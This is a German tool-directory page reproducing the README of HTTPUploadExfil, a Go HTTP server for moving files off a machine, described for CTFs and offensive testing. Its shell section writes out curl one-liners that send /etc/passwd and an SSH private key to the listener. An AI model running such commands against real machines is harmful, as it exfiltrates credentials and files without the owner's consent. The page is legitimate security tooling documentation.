Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HTTPUploadExfil — Ein einfacher HTTP-Server zum Bereitstellen und Exfiltrieren von Dateien/Daten während, zum Beispiel, CTFs. | Kitploit
Tools/GitHubGitHub/ingokl/httpuploadexfil
DatenexfiltrationWebsicherheitCTFPenetrationstests
GitHubingokl/httpuploadexfil

HTTPUploadExfil

Ein einfacher HTTP-Server zum Bereitstellen und Exfiltrieren von Dateien/Daten während, zum Beispiel, CTFs.

Repository anzeigen
8218vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

HTTPUploadExfil

HTTPUploadExfil Logo

MIT License GitHub stars

HTTPUploadExfil ist ein (sehr) einfacher HTTP-Server, geschrieben in Go, der nützlich ist, um Dateien (und andere Informationen) von einem Rechner über HTTP zu übertragen. Obwohl es viele Anwendungsfälle gibt, ist es für den Einsatz in offensiven Szenarien mit geringem Risiko (z. B. CTFs) gedacht.

Stellen Sie es sich als python3 -m http.server vor, aber zum Herunterladen von Daten von einem Rechner anstatt auf den Rechner.

Offensichtlich ist dies eine sehr laute und etwas eingeschränkte Methode der Datenexfiltration. Dennoch ist sie recht praktisch und etwas einfacher als beispielsweise die Verwendung von SMB oder FTP. Wenn Sie nach etwas Eleganterem suchen, werfen Sie einen Blick auf dnsteal oder PyExfil.

TL;DR

  1. Erstellen Sie das Tool mit go build.
  2. Führen Sie ./httpuploadexfil :1337 /home/kali/loot auf Ihrem Rechner aus.
  3. Rufen Sie http://IHRE_IP:1337/ auf dem Rechner auf, von dem Sie Daten exfiltrieren möchten.
  4. Ihre hochgeladenen Dateien finden Sie in /home/kali/loot.

Wenn Sie HTTPs benötigen, beachten Sie die Informationen unten.

Sie können auch Binärdateien für Linux und Windows von GitHub herunterladen. Diese Binärdateien entsprechen jedoch nicht unbedingt den aktuellsten Änderungen.

Erstellen und Entwickeln

Obwohl Binärdateien verfügbar sind, wird dringend empfohlen, dies selbst zu erstellen. So haben Sie die neueste Version und wissen genau, was Sie ausführen. Der Vorgang ist einfach:

Führen Sie einfach go build im Ordner aus, und Sie sollten eine ausführbare Datei httpuploadexfil für Ihre Plattform erhalten.

Wenn Sie Änderungen am Tool vornehmen, denken Sie daran, es mit go fmt main.go zu formatieren.

Alternativ können Sie auch make verwenden, um das Tool zu erstellen. Sie können auch make cert ausführen, um SSL-Zertifikate zu generieren (siehe unten).

Verwendung

Der häufigste Anwendungsfall ist der Betrieb des Servers auf Maschine A. Auf Maschine B rufen Sie dann das Upload-Formular mit einem Browser auf und wählen eine zu exfiltrierende Datei aus. Natürlich kann dies, wie unten gezeigt, auch mit curl erfolgen.

Neben dem Hochladen von Dateien können Sie HTTPUploadExfil auch verwenden, um Daten mit einfachen GET-Anfragen zu exfiltrieren. Wenn eine Anfrage an den \g-Endpunkt gesendet wird, wird die gesamte Anfrage auf der Festplatte gespeichert.

Daher können Sie Daten über den Header der Anfrage exfiltrieren. Am einfachsten ist die Verwendung von GET-Parametern (z. B. ?data=...), aber es gibt andere Optionen.

HTTPUploadExfil

Standardmäßig wird HTTPUploadExfil auf Port 8080 bereitgestellt. Alle Dateien werden in das aktuelle Verzeichnis geschrieben.

./httpuploadexfil

Sie können auch einige Argumente angeben:

./httpuploadexfil :1337 /home/kali/loot

Wenn Sie eine Protokollierung der Anfragen benötigen, übergeben Sie das -log-Flag wie folgt:

./httpuploadexfil -log

Das erste Argument ist eine Bindungsadresse, das zweite der Ordner zum Speichern von Dateien.

Das Tool stellt auch die Dateien im Loot-Verzeichnis unter dem /l-Endpunkt bereit. Dies kann als einfacher Weg genutzt werden, um Dateien auf das Ziel zu bringen.

Endpunkte

Der Webserver stellt vier Endpunkte zur Verfügung:

  1. / (GET) ist das Upload-Formular.
  2. /p (POST) nimmt die Daten aus dem Upload-Formular entgegen. Es erfordert eine multipart/form-data-Anfrage mit dem ausgefüllten file-Feld.
  3. /g (GET) nimmt jede GET-Anfrage entgegen und speichert die vollständige Anfrage auf dem Server.
  4. /l (GET) gewährt Zugriff auf Dateien im angegebenen Ordner (Verzeichnisliste). Dies dient zur Bereitstellung der grundlegenden Funktionalität von python3 -m http.server.

HTTPs-Modus

HTTPUploadExfil kann auch im HTTPs-Modus verwendet werden. Platzieren Sie dazu einfach eine Datei HTTPUploadExfil.csr und HTTPUploadExfil.key neben der Binärdatei. Diese können beispielsweise wie folgt generiert werden:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

Dazu können Sie auch make cert ausführen.

Wenn der Server eine Datei HTTPUploadExfil.csr sieht, wird er versuchen, im HTTPs-Modus zu starten. Um zurück zu HTTP zu wechseln, entfernen oder benennen Sie die Zertifikatsdateien einfach um.

Shell

Mit Bash können wir Daten per GET exfiltrieren, z. B.:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Natürlich können wir auch curl verwenden, um Dateien zu exfiltrieren:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

ToDo

  • Implementierung einer HTTPs-Version (Transportverschlüsselung)
  • Download-Option hinzufügen (d. h. Funktionalität von python3 -m http.server bereitstellen)
  • Protokollierungsfunktion für Anfragen hinzufügen
  • Build-System (insbesondere Cross-Kompilierung für Windows und Linux)
Tool herunterladen